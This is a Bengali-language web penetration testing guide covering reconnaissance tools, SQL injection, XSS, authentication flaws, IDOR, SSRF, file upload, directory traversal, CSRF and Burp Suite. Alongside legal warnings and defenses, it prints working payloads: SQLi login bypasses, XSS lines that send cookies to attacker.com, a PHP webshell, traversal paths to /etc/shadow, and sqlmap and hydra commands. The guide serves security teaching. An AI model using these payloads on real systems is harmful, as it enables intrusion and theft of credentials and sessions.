Vulnerability খোঁজা, বোঝা ও Defense — সম্পূর্ণ গাইড

📋 সূচিপত্র

01. Web Pentest পরিচিতি ও Methodology

Pentest কী, কেন করি, Legal Framework, OWASP Top 10

02. Reconnaissance ও Scanning

Nmap, Nikto, OWASP ZAP, Gobuster — scan output কীভাবে পড়তে হয়

03. SQL Injection

Detection, Manual Testing, SQLMap, Error Reading, Defense

04. XSS — Cross-Site Scripting

Reflected, Stored, DOM — Detection ও Testing

05. Authentication ও Session Vulnerabilities

Broken Auth, Session Hijack, JWT Weakness, Password Policy

06. Access Control — IDOR ও Privilege Escalation

IDOR, Horizontal/Vertical Privilege Escalation, Testing

07. আরও Vulnerabilities

SSRF, XXE, File Upload, Directory Traversal, CSRF

08. Burp Suite — সম্পূর্ণ Guide

Intercept, Repeater, Intruder, Scanner — সব কিছু

CHAPTER 01

🌐 Web Pentest পরিচিতি ও Methodology

শুরু করার আগে যা জানতেই হবে

🚨 **Legal Warning:** এই গাইডের সব কিছু **শুধুমাত্র** নিজের website, CTF platform (HackTheBox, TryHackMe, DVWA), বা explicit written permission-এ authorized target-এ। অন্যের website-এ permission ছাড়া test করা বাংলাদেশ ICT Act 2006-এর Section 54, 56 ও 57 অনুযায়ী ১৪ বছর পর্যন্ত কারাদণ্ডযোগ্য অপরাধ।

🎯 Web Penetration Testing কী?

Web Penetration Testing হলো authorized ভাবে একটা web application-এ attacker-এর দৃষ্টিভঙ্গি থেকে security দুর্বলতা খোঁজার প্রক্রিয়া। Security team এটা করে যাতে real attacker-এর আগেই vulnerabilities ঠিক করা যায়।

📋 Pentest Methodology — OWASP Testing Guide

1	📝 **Planning**	Scope define করো, Rules of Engagement, Legal agreement sign করো
2	🔍 **Reconnaissance**	Target সম্পর্কে information gather — technology stack, subdomains, endpoints
3	🗺️ **Mapping**	Application map করো — সব pages, forms, APIs, input points
4	🔎 **Vulnerability Detection**	Automated scan + Manual testing — vulnerabilities identify করো
5	✅ **Verification**	False positive বাদ দাও, real vulnerability confirm করো
6	📊 **Reporting**	Findings document করো, risk rating দাও, remediation recommend করো

🏆 OWASP Top 10 (2021) — সব থেকে গুরুত্বপূর্ণ

Rank	Vulnerability	সহজ কথায়	Risk
A01	Broken Access Control	অন্যের data access করতে পারা	Critical
A02	Cryptographic Failures	Weak/no encryption	Critical
A03	Injection (SQLi, etc.)	Database-এ malicious query	Critical
A04	Insecure Design	Architecture-level flaw	High
A05	Security Misconfiguration	Default settings, open admin panel	High
A06	Vulnerable Components	Outdated libraries with known CVEs	Medium
A07	Auth & Session Failures	Weak password, session issues	High
A08	Software Integrity Failures	Unverified updates/plugins	Medium
A09	Logging Failures	Attack-এর কোনো log নেই	Medium
A10	SSRF	Server-কে দিয়ে internal request	High

🏋️ Practice Environment Setup

```
# ১. DVWA (Damn Vulnerable Web Application) — সবার জন্য
$ docker pull vulnerables/web-dvwa
$ docker run -d -p 80:80 vulnerables/web-dvwa
# Browser: http://localhost/dvwa
# Login: admin / password

# ২. WebGoat (OWASP Project)
$ docker pull webgoat/goat-and-wolf
$ docker run -p 8080:8080 webgoat/goat-and-wolf
# Browser: http://localhost:8080/WebGoat
```

```
# ৩. Metasploitable (Full vulnerable server)
# VirtualBox-এ download: vulnhub.com

# ৪. Online Platforms (কোনো setup লাগে না)
# tryhackme.com — Web Fundamentals path
# hackthebox.com — Web challenges
# portswigger.net/web-security — Burp Suite labs
# pentesterlab.com — Hands-on exercises

# ৫. Kali Linux Tools
$ sudo apt update && sudo apt install -y \
  nikto gobuster dirb wfuzz \
  sqlmap burpsuite zaproxy
```

✅ Chapter 1 Summary

✓ Pentest = authorized, legal, documented — unauthorized = criminal

✓ OWASP Top 10 = সবচেয়ে common web vulnerabilities-এর list

✓ Practice: DVWA, WebGoat, TryHackMe, HackTheBox

✓ Methodology: Plan → Recon → Map → Test → Report

CHAPTER 02

🔍 Reconnaissance ও Scanning — Output কীভা পড়তে হয়

Scanner চালানো ও output দেখে vulnerability চেনা

🗺️ Step 1 — Nmap দিয়ে Web Server Scan

```
$ nmap -sV -sC -p 80,443,8080,8443 --script=http-enum target.com

── Output বিশ্লেষণ ──

PORT    STATE SERVICE VERSION
80/tcp  open  http    Apache httpd 2.4.29
| http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Company Website
|_http-robots.txt: 3 disallowed entries   ← robots.txt-এ hidden paths আছে
443/tcp open  ssl/https
| ssl-cert: Subject: commonName=target.com
|   Not valid after: 2022-01-01          ← EXPIRED CERTIFICATE ⚠️
8080/tcp open  http-proxy                ← Admin panel হতে পারে

NSE Results:
| http-enum:
|   /admin/: Possible admin folder       ← Admin panel exposed!
|   /backup/: Backup folder              ← Sensitive files হতে পারে!
|   /phpinfo.php: PHP info page          ← Server info leak!
|_  /login.php: Login page

── যা দেখলে alert হবে ──
⚠️  Outdated Apache (2.4.29 → 2022-র পুরানো version)
⚠️  /admin/ publicly accessible
⚠️  /backup/ directory open
```

```
⚠ phpinfo.php (server configuration expose)
⚠ Expired SSL certificate
⚠ robots.txt-এ disallowed entries (sensitive paths leak)
```

🔬 Step 2 — Nikto দিয়ে Vulnerability Scan

```
$ nikto -h http://target.com -o results.txt

── Nikto Output বিশ্লেষণ ──

- Nikto v2.1.6
+ Target IP:    192.168.1.100
+ Target Port:  80
+ Start Time:   2024-01-15 10:00:00

+ Server: Apache/2.4.29 (Ubuntu)

+ The anti-clickjacking X-Frame-Options header is not present.
  → ব্যাখ্যা: Clickjacking attack সম্ভব

+ The X-Content-Type-Options header is not set.
  → ব্যাখ্যা: MIME sniffing vulnerability

+ OSVDB-3268: /backup/: Directory indexing found.
  → ব্যাখ্যা: /backup/ folder-এর সব files দেখা যাচ্ছে!

+ /admin/config.php: PHP config file found.
  → ব্যাখ্যা: Database credentials leak হতে পারে!

+ OSVDB-12184: /?=PHPB8B5F2A0: PHP reveals info via bug
  → ব্যাখ্যা: PHP version ও path exposed

+ /login.php: Admin login page/section found.

+ OSVDB-3093: /.htaccess: Apache .htaccess file found.
  → ব্যাখ্যা: Server config readable!

+ SQL injection found in /search.php?query= parameter.
  → ব্যাখ্যা: Database attack সম্ভব! (Critical)
```

```
+ 8 host(s) tested, 12 vulnerabilities found.

── Severity চেনার নিয়ম ──
OSVDB-XXXX      → Known vulnerability database reference
SQL injection   → Critical — database access possible
Directory idx   → High — file listing
Config files    → High — credentials possible
Missing headers→ Low/Medium — hardening needed
```

📂 Step 3 — Directory Bruteforce — Gobuster

```
# Hidden directories ও files খোঁজো
$ gobuster dir -u http://target.com \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x php,html,txt,bak,zip,sql \
  -t 50 --status-codes 200,204,301,302,403

── Output বিশ্লেষণ ──

/index.php            (Status: 200) [Size: 4523]
/login.php            (Status: 200) [Size: 1234]   ← Login page
/admin                (Status: 301) [→ /admin/]    ← Admin panel!
/backup               (Status: 200) [Size: 2048]   ← Backup folder!
/config.php           (Status: 200) [Size: 512]    ← Config file!
/db.php               (Status: 200) [Size: 312]    ← DB credentials!
/uploads              (Status: 200) [Size: 896]    ← Upload folder
/old                  (Status: 200) [Size: 1024]   ← Old version?
/test                 (Status: 200) [Size: 234]    ← Test files!
/.git                 (Status: 200) [Size: 128]    ← GIT repo exposed!
/phpMyAdmin           (Status: 200) [Size: 5234]   ← DB admin panel!

── সবচেয়ে গুরুত্বপূর্ণ findings ──
🔴 CRITICAL: /.git/ exposed → source code leak
🔴 CRITICAL: /phpMyAdmin → database admin publicly accessible
🔴 HIGH:     /config.php, /db.php → credentials
🟠 HIGH:     /admin/ → admin panel
🟡 MEDIUM:   /backup/, /test/, /old/ → sensitive files
```

🔭 Step 4 — OWASP ZAP — Automated Scanner

```
# ZAP CLI দিয়ে scan
$ zap-baseline.py -t http://target.com -r report.html

── ZAP Alert Output ──

WARN-NEW: X-Frame-Options Header Not Set [10020]
  URL: http://target.com/
  Risk: Medium | Confidence: Medium
  Solution: Add X-Frame-Options: DENY header

WARN-NEW: Missing Anti-clickjacking Header [10020]
  Risk: Medium

FAIL-NEW: SQL Injection [40018]           ← CRITICAL!
  URL: http://target.com/search.php?q=1
  Evidence: You have an error in your SQL syntax
  Risk: High | Confidence: Medium
  Parameter: q
  Attack: q=1 OR 1=1

FAIL-NEW: Cross Site Scripting (Reflected) [40012]  ← HIGH!
  URL: http://target.com/search.php?q=test
  Evidence: <script>alert(1);</script>
  Parameter: q
  Attack: <script>alert(1);</script>

WARN-NEW: Cookie Without Secure Flag [10011]
  Risk: Low

── Risk Level মানে কী? ──
HIGH   (🔴) → তাৎক্ষণিক action নাও — exploit করা সহজ
MEDIUM (🟠) → Important — fix করা দরকার
LOW    (🟡) → Best practice — eventually fix
INFO   (🔵) → Informational — awareness
```

🔑 Technology Fingerprinting

```
# WhatWeb — technology detect করো
$ whatweb http://target.com

http://target.com [200 OK]
  Apache[2.4.29]          ← Web server version
  PHP[7.2.0]              ← PHP version (outdated!)
  WordPress[5.8.0]        ← CMS (check for known CVEs)
  jQuery[3.1.0]           ← Old jQuery (XSS vuln possible)
  MySQL                    ← Database type

# Wappalyzer (browser extension) — same info visually
# BuiltWith (online) — technology stack

# WordPress specific scan
$ wpscan --url http://target.com --enumerate u,vp,vt
#                                          ↑ users, vulnerable plugins, themes

── WPScan Output ──
[!] WordPress version 5.8.0 identified (Outdated!)
[!] Plugin: contact-form-7 v5.0 — SQL Injection (CVE-2020-35489)
[!] Theme: twentytwenty — Cross-Site Scripting
[i] User(s) Identified: admin (ID: 1)   ← Username found!
```

✅ Chapter 2 — Scan Output এ যা দেখলে Alert হবে

🔴 SQL injection found → Critical — database access সম্ভব

🔴 /.git/ exposed → Source code চুরি সম্ভব

🔴 /phpMyAdmin exposed → Database admin accessible

🔴 /config.php, /db.php → Credentials leak

🟠 XSS found → User data steal সম্ভব

🟠 /admin/ publicly accessible → Brute force possible

🟡 Missing security headers → Hardening needed

🟡 Outdated software version → Known CVE দেখো

CHAPTER 03

💉 SQL Injection — সম্পূর্ণ গাইড

Detection থেকে Test পর্যন্ত — সবচেয়ে Critical Vulnerability

💉 SQL Injection (SQLi) OWASP A03 — Critical

🤔 কী হয়?

User input sanitize না করলে attacker সেই input-এর মধ্যে SQL query ঢুকিয়ে database manipulate করতে পারে। Login bypass, data theft, database deletion সব সম্ভব।

🔍 কোথায় পাওয়া যায়?

URL parameter (?id=, ?user=), Login form, Search box, Any input যা database-এ query করে।

🔍 SQLi Detection — কীভাবে চিনবো?

```
── Manual Testing — Error-based Detection ──

# Step 1: Single quote দিয়ে test করো
URL: http://target.com/product.php?id=1'

── Vulnerable Response (এই লেখা দেখলে SQLi আছে) ──
You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near ''' at line 1

Warning: mysql_fetch_array() expects parameter 1 to be resource

ORA-00933: SQL command not properly ended    ← Oracle DB
Microsoft OLE DB Provider for SQL Server error ← MSSQL
```

```
SQLite3::query(): Unable to prepare statement  ← SQLite

── এই error দেখলেই বুঝবে SQLi vulnerable! ──

# Step 2: Boolean-based test (error না দেখালেও কাজ করে)
http://target.com/product.php?id=1 AND 1=1  → Normal page (True)
http://target.com/product.php?id=1 AND 1=2  → Empty/error page (False)
# দুটোর output আলাদা হলে → SQLi vulnerable!

# Step 3: Time-based (blind)
http://target.com/product.php?id=1 AND SLEEP(5)
# Page ৫ সেকেন্ড delay হলে → SQLi vulnerable!
```

🛠️ SQLMap — Automated SQLi Testing

```
# Basic scan — vulnerability আছে কিনা
$ sqlmap -u "http://target.com/product.php?id=1" --dbs

── SQLMap Output ──

[INFO] testing connection to the target URL
[INFO] testing if the target URL content is stable
[INFO] GET parameter 'id' appears to be dynamic

[WARNING] GET parameter 'id' does not appear to be injectable
# অথবা:
[INFO] GET parameter 'id' is vulnerable!
[INFO] sqlmap identified injection type: boolean-based blind
[INFO] sqlmap identified injection type: time-based blind

available databases [3]:
[*] information_schema
[*] company_db           ← Target database
[*] mysql

# Tables দেখো
$ sqlmap -u "http://target.com/product.php?id=1" -D company_db --tables

Tables in 'company_db':
```

```
+------------+
| customers  |
| orders     |
| users      |   ← Users table - credentials আছে!
| products   |
+------------+

# Columns দেখো
$ sqlmap -u "http://target.com/product.php?id=1" \
         -D company_db -T users --columns

Columns of 'users':
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | int         |
| username | varchar(50) |
| password | varchar(255)|  ← Password column
| email    | varchar(100)|
| role     | varchar(20) |  ← admin/user role
+----------+-------------+

# Data dump করো (authorized test-এ)
$ sqlmap -u "http://target.com/product.php?id=1" \
         -D company_db -T users --dump

# Login form test
$ sqlmap -u "http://target.com/login.php" \
         --data="username=admin&password=test" \
         --dbs

# Cookies দিয়ে (logged-in state)
$ sqlmap -u "http://target.com/profile.php?id=1" \
         --cookie="PHPSESSID=abcd1234" --dbs
```

🔒 Login Bypass — SQLi দিয়ে

```
── Vulnerable Login Code (PHP) ──
$query = "SELECT * FROM users
```

```
        WHERE username='$username' AND password='$password'";

── Normal Login ──
username: admin
password: mypassword
Query: SELECT * FROM users WHERE username='admin' AND password='mypassword'

── SQLi Login Bypass ──
username: admin'--
password: anything

Query: SELECT * FROM users WHERE username='admin'--' AND password='anything'
        -- দিয়ে password check comment out হয়ে যায়!
        → Login successful without correct password!

── আরও payloads ──
' OR '1'='1
' OR 1=1--
admin'--
' OR 'x'='x
") OR ("1"="1

── Defense ──
❌ Wrong: $query = "WHERE username='$username'"
✅ Right: Prepared Statements / Parameterized Queries

// PHP PDO example:
$stmt = $pdo->prepare("SELECT * FROM users WHERE username=? AND password=?");
$stmt->execute([$username, $password]);
```

✅ Chapter 3 Summary

🔴 Error: "SQL syntax error" বা "mysql_fetch" → SQLi vulnerable

🔴 AND 1=1 vs AND 1=2-তে আলাদা response → Boolean-based SQLi

🔴 SLEEP(5) দিয়ে page delay → Time-based blind SQLi

🛠 SQLMap → automated database enumeration (authorized only)

🛡️ Defense: Prepared Statements + Input validation

CHAPTER 04

🔴 XSS — Cross-Site Scripting

Reflected, Stored, DOM — তিন ধরনের XSS Detection ও Testing

🔴 Cross-Site Scripting (XSS)

OWASP A03 — High

🤔 কী হয়?

User input sanitize না করলে attacker malicious script inject করতে পারে যা অন্য user-এর browser-এ execute হয়। Session theft, credential steal, keylogging সম্ভব।

🔍 XSS Types ও Detection

🔄 Reflected XSS

URL parameter-এ script ঢুকলে সেটা response-এ reflect হয়। Link পাঠিয়ে victim-কে exploit করা হয়।

```
?q=<script>alert(1)</script>
```

💾 Stored XSS

Script database-এ save হয়, পরে সব user দেখলে execute হয়। Comment, forum, profile-এ পাওয়া যায়।

Most Dangerous

🌐 DOM XSS

JavaScript client-side DOM manipulate করে। Server response-এ নেই, browser-এ execute হয়।

```
document.write(location.hash)
```

🔬 XSS Testing — Manual ও Tools

```
── Step 1: Basic Detection Payload ──
# যেকোনো input field-এ এই payload test করো:
<script>alert('XSS')</script>
<script>alert(document.cookie)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
'"><script>alert(1)</script>

── Vulnerable Response (এটা দেখলে XSS আছে) ──
# Browser-এ alert box popup হবে
# অথবা HTML source-এ script tag দেখাবে:
<p>Search results for: <script>alert(1)</script></p>
          ↑ এটা reflected হয়েছে → XSS vulnerable!

── Step 2: Cookie Theft Test ──
# Payload যা attacker-এর server-এ cookie পাঠায়:
<script>
  document.location='http://attacker.com/steal?c='+document.cookie
</script>

# Simple version:
<img src=x onerror="fetch('http://attacker.com/?c='+document.cookie)">

── XSStrike — Advanced XSS Scanner ──
$ pip install xsstrike
$ python xsstrike.py -u "http://target.com/search.php?q=test"

[+] Payload: <HtMl%09onPointerEnter%09=%09[8].find(confirm)>
[+] Efficiency: 100
[+] Confidence: 10
[+] XSS Found! Parameter: q

── Stored XSS — Comment Form Test ──
# Comment field-এ:
```

```
Name: John
Comment: <script>alert('Stored XSS')</script>

# যদি comment save হয়ে সব user দেখলে alert হয় → Stored XSS!
# এটা সবচেয়ে বিপজ্জনক কারণ সব visitor affected হয়
```

XSS Defense

```
── Server-side (PHP) ──
# Wrong:
echo "Search: " . $_GET['q'];

# Right — htmlspecialchars:
echo "Search: " . htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
# < → &lt;  > → &gt;  " → &quot;  ' → &#039;

── HTTP Headers ──
Content-Security-Policy: default-src 'self'; script-src 'self'
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff

── Cookie Protection ──
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
# HttpOnly → JavaScript document.cookie দিয়ে access করা যাবে না
```

✅ Chapter 4 Summary

- 🔴 Alert box দেখা গেলে → XSS confirmed
- 🔴 HTML source-এ script tag দেখলে → XSS vulnerable
- 🔴 Stored XSS সবচেয়ে বিপজ্জনক → সব user affected

🛡️ Defense: htmlspecialchars + CSP header + HttpOnly cookie

CHAPTER 05

🔐 Authentication ও Session Vulnerabilities

Broken Auth, Session Hijack, JWT Weakness — Testing ও Defense

🔍 Authentication Vulnerability Testing

```
── 1. Username Enumeration ──
# Login form-এ wrong username vs wrong password-এর error আলাদা কিনা

Username: admin    Password: wrong
Response: "Invalid password"       ← Username exist করে!

Username: notexist Password: wrong
Response: "User not found"         ← Username enumeration possible!

# Burp Suite Intruder দিয়ে username list test করো
# Valid username → আলাদা response length/message

── 2. Brute Force Test ──
# Rate limiting আছে কিনা চেক করো
$ hydra -l admin -P /usr/share/wordlists/rockyou.txt \
       http-post-form \
       "http://target.com/login.php:username=^USER^&password=^PASS^:Invalid"

# যদি block না হয় → No rate limiting / account lockout!
# Vulnerability: Broken Authentication

── 3. Default Credentials Test ──
admin / admin
admin / password
admin / 123456
administrator / admin
root / root
```

```
guest / guest

── 4. Password Reset Weakness ──
# Reset link predictable কিনা চেক করো
http://target.com/reset?token=1234    ← Sequential! Guessable!
http://target.com/reset?token=abc123  ← Too short!

# Host header injection in password reset
POST /forgot-password
Host: attacker.com    ← Reset link attacker.com-এ যাবে!
email=victim@target.com
```

🍪 Session Security Testing

```
── Session Token Analysis ──
# Cookie দেখো (Browser DevTools → Application → Cookies)

PHPSESSID=abc123      ← Too short! Predictable!
session=1234567       ← Sequential! Guessable!
user=admin            ← Username in cookie! Tamper possible!
role=user             ← Role in cookie! Change to admin?

# Cookie flags চেক করো
# Missing HttpOnly → XSS দিয়ে cookie চুরি সম্ভব
# Missing Secure → HTTP-তে cookie exposed
# Missing SameSite → CSRF attack সম্ভব

── JWT (JSON Web Token) Weakness ──
# JWT decode করো (base64):
$ echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
{"alg":"HS256","typ":"JWT"}

# JWT.io-তে paste করো — payload দেখো:
{
  "user": "john",
  "role": "user",     ← এটা "admin" করলে কী হয়?
  "exp": 1234567890
}
```

```
# Algorithm Confusion Attack
# "alg":"none" → signature check বাদ দিয়ে দেয় (misconfigured servers)
# Weak secret → hashcat দিয়ে crack করা যায়
$ hashcat -a 0 -m 16500 jwt.txt wordlist.txt
```

✅ Chapter 5 Summary

🔴 আলাদা error message → Username enumeration possible

🔴 Rate limiting নেই → Brute force possible

🔴 Predictable session token → Session hijack possible

🔴 JWT alg:none বা weak secret → Token forgery

🛡️ Defense: MFA, Rate limiting, Strong random tokens, HttpOnly

CHAPTER 06

🔒 Access Control — IDOR ও Privilege Escalation

OWASP-এর #1 — Broken Access Control সম্পূর্ণ Testing

🔍 IDOR — Insecure Direct Object Reference

IDOR মানে URL বা parameter-এ object ID বদলে অন্যের data access করা। এটা OWASP-এর #1 vulnerability।

```
── IDOR Detection ──

# Scenario: আমার profile
GET /api/user/profile?id=1001
Response: {"name":"John","email":"john@example.com"}

# IDOR Test: অন্যের profile
GET /api/user/profile?id=1002     ← ID পরিবর্তন করলাম
Response: {"name":"Alice","email":"alice@example.com"}  ← IDOR! অন্যের data দেখা গেলো

# আরও examples
GET /download?file=invoice_1001.pdf → /download?file=invoice_1002.pdf
GET /order/1234 → /order/1235
GET /admin/user/delete?id=5   ← অন্য user delete করতে পারি?

── Burp Suite দিয়ে Automated IDOR Test ──
# Intruder → Parameter → Payload: number list 1000-1100
# Response length আলাদা হলে → data পাওয়া গেছে!

── Horizontal vs Vertical Escalation ──
Horizontal: user→ অন্য user-এর data   (same level)
Vertical:   user→ admin-এর feature   (higher level)
```

⬆️ Privilege Escalation Testing

```
── Parameter Tampering ──

# Normal user request:
POST /update-profile
{"name":"John","role":"user"}

# Tampered request:
POST /update-profile
{"name":"John","role":"admin"}   ← role পরিবর্তন করলাম!
# যদি accept করে → Privilege Escalation!

── Admin Panel Access ──
# Normal user login করে admin URL try করো
GET /admin/dashboard        ← Accessible? → Broken Access Control
GET /admin/users            ← User list দেখা যাচ্ছে?
GET /admin/config           ← Config accessible?

── HTTP Method Switching ──
# GET blocked হলে POST/PUT try করো
GET /admin/delete-user → 403 Forbidden
DELETE /admin/delete-user → 200 OK!  ← Method confusion!

── Defense ──
✅ Server-side authorization check every request
✅ User can only access own resources
✅ Role-based access control (RBAC)
✅ Never trust client-side role/permission
```

✅ Chapter 6 Summary

🔴 URL-এ ID বদলে অন্যের data → IDOR (OWASP #1)

🔴 role=user → role=admin পাঠালে accept → Privilege Escalation

🔴 Admin URL user-এ accessible → Broken Access Control

🛡️ Defense: Server-side auth check, RBAC, indirect reference

CHAPTER 07

🌐 আরও Critical Vulnerabilities

SSRF, File Upload, Directory Traversal, CSRF — Detection ও Impact

🌐 SSRF — Server-Side Request Forgery

```
── SSRF Detection ──
# Application যখন URL parameter নেয়:
POST /fetch-url
{"url": "https://external-site.com/image.jpg"}

# SSRF Test — internal resource access:
{"url": "http://localhost/admin"}          ← Internal admin
{"url": "http://127.0.0.1:8080/config"}    ← Local service
{"url": "http://169.254.169.254/latest/meta-data/"} ← AWS metadata!
{"url": "file:///etc/passwd"}              ← Local file read

── Vulnerable Response ──
root:x:0:0:root:/root:/bin/bash   ← /etc/passwd content!
ami-id: ami-12345678              ← AWS metadata!
{"admin": "true", ...}            ← Internal API response!

── Impact ──
→ Cloud metadata → credentials theft (AWS, GCP, Azure)
→ Internal service access (databases, admin panels)
→ Port scanning internal network
→ RCE in severe cases
```

📤 File Upload Vulnerability

```
── File Upload Testing ──

# Step 1: Extension filter bypass
# Normal: only .jpg, .png allowed
malicious.php     → Blocked
malicious.php.jpg → Try it!      ← Double extension
malicious.pHp     → Try it!      ← Case variation
malicious.php5    → Try it!      ← Alternative extension
malicious.phtml   → Try it!      ← PHP HTML

# Step 2: MIME type bypass (Burp Suite দিয়ে)
# File: malicious.php content
# Change Content-Type: image/jpeg (fake!)

# Step 3: Webshell upload (Authorized lab only!)
# simple PHP webshell:
<?php echo shell_exec($_GET['cmd']); ?>

# Upload হলে access:
http://target.com/uploads/malicious.php?cmd=whoami
www-data   ← Command execution! RCE!

── Vulnerable Signs ──
→ .php, .asp, .jsp file upload accept করে
→ Uploaded file same server-এ serve হয়
→ No content validation

── Defense ──
✅ Whitelist allowed extensions (.jpg, .png only)
✅ Validate file content (magic bytes)
✅ Rename uploaded files (random name)
✅ Upload to non-executable directory
✅ Serve files through CDN/separate domain
```

📂 Directory Traversal

```
── Directory Traversal Detection ──
# Vulnerable URL:
```

```
http://target.com/view?file=report.pdf
http://target.com/image?name=photo.jpg

# Traversal Test:
?file=../../../etc/passwd
?file=....//....//....//etc/passwd   ← Double encoding
?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd ← URL encoded

── Vulnerable Response ──
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
# /etc/passwd content = Directory Traversal confirmed!

# Other interesting files:
../../../etc/shadow         # Password hashes
../../../etc/hosts          # Network mapping
../../../var/log/apache2/access.log  # Web logs
../../../proc/version       # OS version
..\..\Windows\win.ini       # Windows
```

🔄 CSRF — Cross-Site Request Forgery

```
── CSRF Detection ──

# State-changing request-এ CSRF token আছে কিনা চেক করো

POST /change-password
username=admin&new_password=hacked    ← CSRF token নেই!
# Attacker এই request অন্য site থেকে trigger করতে পারবে

POST /change-password
username=admin&new_password=hacked&csrf_token=abc123xyz   ← Protected

# Test: CSRF token missing → vulnerable
# Test: CSRF token reusable → vulnerable
# Test: CSRF token predictable → vulnerable

── Defense ──
✅ CSRF token every form
```

✅ SameSite cookie attribute
✅ Origin/Referer header check

✅ Chapter 7 Summary

🔴 SSRF → Internal server access, Cloud metadata theft

🔴 File Upload → Webshell → Remote Code Execution

🔴 ../../../etc/passwd দেখা গেলে → Directory Traversal

🟠 CSRF Token নেই → Unauthorized action possible

CHAPTER 08

🔧 Burp Suite — Web Pentester-এর সেরা Tool

Intercept, Repeater, Intruder, Scanner — সব কিছু শেখো

⚙ Burp Suite Setup

```
# Burp Suite Community Edition (Free)
$ burpsuite &

── Browser Proxy Setup ──
Firefox → Settings → Network → Manual Proxy:
  HTTP Proxy: 127.0.0.1  Port: 8080

# Burp CA Certificate install (HTTPS intercept)
Browser → http://burp → CA Certificate download
Firefox → Preferences → Certificates → Import Burp CA

── Burp Suite Main Modules ──
Proxy    → Traffic intercept ও modify
Repeater → Manual request replay
Intruder → Automated payload testing
Scanner  → Vulnerability auto-scan (Pro only)
Decoder  → Encode/decode data
Comparer → Response comparison
```

🎯 Proxy — Request Intercept ও Modify

```
── Request Intercept ──
# Intercept ON → Browser-এ action করো → Burp-এ দেখবে
```

```
POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

username=admin&password=test123

# এখানে modify করতে পারো:
username=admin&password=newpassword   ← password বদলাও
username=administrator&password=test  ← username বদলাও
username=admin&password=test&role=admin ← extra param যোগ

# Forward → request পাঠাও
# Drop → request বাদ দাও

── HTTP History ──
# সব requests history-তে থাকে
# Right-click → Send to Repeater/Intruder/Scanner
```

🔄 Repeater — Manual Testing

```
── Repeater Usage ──
# Request modify করে বারবার পাঠাও
# SQLi, XSS, IDOR test করার জন্য সেরা

# Original Request:
GET /product.php?id=1 HTTP/1.1
Host: target.com

# Test 1: SQLi
GET /product.php?id=1' HTTP/1.1
# Response: SQL error? → Vulnerable!

# Test 2: IDOR
GET /product.php?id=2 HTTP/1.1
GET /product.php?id=999 HTTP/1.1
# আলাদা data? → IDOR check করো

# Test 3: XSS
```

```
GET /search.php?q=<script>alert(1)</script>
# Response-এ script tag? → XSS vulnerable
```

💥 Intruder — Automated Payload Testing

```
── Intruder Attack Types ──

Sniper: একটা parameter-এ wordlist
  username=§admin§&password=test
  → admin, root, user, administrator, ...

Cluster Bomb: দুটো parameter-এ দুটো wordlist (combinations)
  username=§admin§&password=§password§
  → admin:password, admin:123456, root:password, ...

── IDOR Test — Intruder ──
GET /api/user/§1001§
Payload: Numbers → 1000 to 1100
# Response length filter করো → আলাদা length = data found

── Login Brute Force ──
POST /login
username=admin&password=§test§
Payload: Simple list → rockyou.txt top 1000

── Response Analysis ──
Status: 302 (redirect) → Login success!
Status: 200 + "Invalid" → Login failed
Length: আলাদা → IDOR data found
```

📊 Vulnerability Report Template

```
── Professional Pentest Report Structure ──

1. EXECUTIVE SUMMARY
   - Overall risk rating: Critical/High/Medium/Low
```

```
   - Total vulnerabilities found: 12
   - Critical: 2, High: 4, Medium: 5, Low: 1

2. VULNERABILITY DETAILS

   Vuln #1: SQL Injection
   ──────────────────────
   Risk:       Critical
   CVSS Score: 9.8
   Location:   /search.php?q= parameter
   Description: The 'q' parameter is not sanitized
   Evidence:    Screenshot of SQL error / data dump
   Impact:      Full database access, data theft
   Steps to Reproduce:
     1. Go to http://target.com/search.php?q=1'
     2. Observe SQL error in response
   Remediation: Use prepared statements (PDO/MySQLi)
   Reference:   OWASP A03, CWE-89

3. REMEDIATION PRIORITY
   Immediate:   SQLi, RCE (fix within 24 hours)
   Short-term:  XSS, IDOR (fix within 1 week)
   Long-term:   Missing headers (fix within 1 month)

4. CONCLUSION ও RECOMMENDATIONS
```

🎯 পুরো গাইডের সারসংক্ষেপ

🔍 Nmap + Nikto + Gobuster → Initial attack surface map করো

💉 SQL error / boolean response → SQLi test করো (SQLMap)

🔴 Alert popup / script in response → XSS confirm করো

🔐 Different error message → Username enum, No rate limit → Brute force

🔒 ID change → IDOR, Role change → Privilege Escalation

🌐 URL parameter → SSRF, File upload → Webshell

🔧 Burp Suite → সব testing-এর central tool

📊 সব কিছু document করো → Professional report দাও

🚨 **মনে রেখো:** এই গাইডে শেখা skills শুধুমাত্র **DVWA, WebGoat, TryHackMe, HackTheBox**-এর মতো authorized practice platform-এ ব্যবহার করো। Real website-এ permission ছাড়া এই কোনো technique apply করা বাংলাদেশের আইনে কঠোর শাস্তিযোগ্য অপরাধ। Security শেখার লক্ষ্য হলো **defend** করা — attack করা নয়।

🌐 "Know the attack to build the defense."

Web AppSec v1.0 — 8 Chapters | OWASP Top 10 | সম্পূর্ণ বাংলা গাইড